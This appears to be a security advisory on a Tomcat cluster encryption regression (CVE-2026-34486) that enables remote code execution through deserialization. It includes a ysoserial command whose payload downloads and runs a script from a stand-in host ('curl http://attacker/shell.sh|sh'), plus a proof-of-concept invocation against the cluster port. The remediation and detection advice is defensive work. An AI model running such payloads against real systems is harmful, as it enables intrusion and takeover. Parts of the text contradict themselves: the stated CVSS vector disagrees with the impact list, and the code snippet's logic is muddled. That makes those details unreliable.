CVE-2026-34486: Apache Tomcat Cluster EncryptInterceptor Fix Regression Leads to RCE (CVSS 7.5)

Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 regressed EncryptInterceptor from fail-closed to fail-open while fixing CVE-2026-29146, producing CVE-2026-34486 (CVSSv3.1 7.5). TCP access to the default Tribes port 4000 lets an attacker send unencrypted deserialization payloads for RCE; CISA added it to KEV.

Incident overview

On 2026-04-09 the Apache Software Foundation published an advisory for CVE-2026-34486, a regression in Apache Tomcat 11.0.20 / 10.1.53 / 9.0.116 introduced while fixing CVE-2026-29146. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog on 2026-08-04; federal agencies must remediate by 2026-08-07. CISA-ADP CVSSv3.1 is 7.5 (High), vector `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`, CWE-311 (Missing Encryption of Sensitive Data). Independent analysis from Alibaba Cloud AVD and CN-SEC shows practical RCE when a deserialization gadget chain is present; real impact exceeds 7.5.

Reported by striga.ai researcher Bartlomiej Dmitruk. Fixed in 9.0.117, 10.1.54, 11.0.21. Tomcat Tribes listens on 0.0.0.0:4000 by default; any deployment exposing the cluster port on a public or shared network is in scope.

Technical details

Tomcat Tribes and EncryptInterceptor

In cluster mode Tomcat uses Tribes for membership, reliable messaging, and session replication. Tribes binds TCP 4000 by default. Frames start with `FLT2002`, end with `TLF2003`, payload is `ChannelData`. EncryptInterceptor is the interceptor that applies symmetric encryption between nodes using a shared key.

Regression

While fixing CVE-2026-29146, Apache moved one line in EncryptInterceptor: `throw new IOException("decrypt failed");` was relocated from before decrypt failure to after decrypt success. When decrypt throws, plaintext messages with encryption flag `false` still continue down the interceptor chain into deserialization — fail-closed became fail-open.

// Vulnerable version: throw only on decrypt success; on failure plaintext continues
if (!decrypted) {
    log.warn("decrypt failed, fall through");   // Regression: should abort
} else {
    throw new IOException("decrypt failed");    // Unreachable
}
nextInterceptor.messageReceived(member, data);  // Plaintext goes straight to deserialization

How it works

Any source that can open TCP to Tribes port 4000 can send a well-formed Tribes frame whose payload is a plaintext Java serialized object. With Commons Collections, GadgetChain, SnakeYAML, or similar gadget libraries on the server, this yields arbitrary Java code execution:

# Build CommonsCollections gadget-chain payload with ysoserial
java -jar ysoserial-all.jar CommonsCollections6 'curl http://attacker/shell.sh|sh' > payload.bin

# Wrap in Tribes FLT2002 / TLF2003 frame and send to TCP 4000
python3 tribes_poc.py --target 10.0.0.10 --port 4000 --payload payload.bin

Impact assessment

• Confidentiality (C:H): cluster traffic is unprotected; MITM can sniff and tamper;

• Integrity (I:H): inject malicious state or deserialization payloads into any cluster node;

• Availability (A:H): remote deserialization faults take nodes offline, or RCE shuts down Tomcat;

• Preconditions: TCP 4000 reachability + a deserialization gadget library on the target.

CVSS marks PR:N (no privileges). That assumes the Tribes port is not network-isolated. CN-SEC notes many teams enabled EncryptInterceptor specifically to protect cluster traffic; that config is now the weak point, especially when the port is exposed on an internal network.

Remediation

1. Immediate upgrade

• Apache Tomcat 9.0.x: 9.0.117 or later;

• Apache Tomcat 10.1.x: 10.1.54 or later;

• Apache Tomcat 11.0.x: 11.0.21 or later.

2. Network mitigations (if upgrade is delayed)

• Restrict port 4000 in security groups / firewalls to cluster-member subnets only; block internet and cross-business segments;

• Bind the cluster to a `<Cluster-Members-Only>` private NIC instead of listening on all interfaces;

• Disable plaintext fallback besides EncryptInterceptor; ensure config has no `tribes.tcp_listen_address=0.0.0.0`.

3. Detection and response

• Capture port 4000 traffic; flag Tribes frames from non-member IPs;

• Watch Tomcat for unexpected child processes (`sh`, `bash`, `curl`, `python`) and outbound connections;

• Review `server.xml` and `cluster.xml` EncryptInterceptor config; confirm fallback is closed;

• Hunt deserialization artifacts on 9.0.116 / 10.1.53 / 11.0.20 hosts (`~/.ssh/`, `/tmp/`, crontab).

References

• Apache Tomcat official advisories (security-9/10/11.html)

• NVD CVE-2026-34486

• Alibaba Cloud AVD

• CN-SEC deep dive: RCE from a one-line change

• CISA KEV catalog (added 2026-08-04)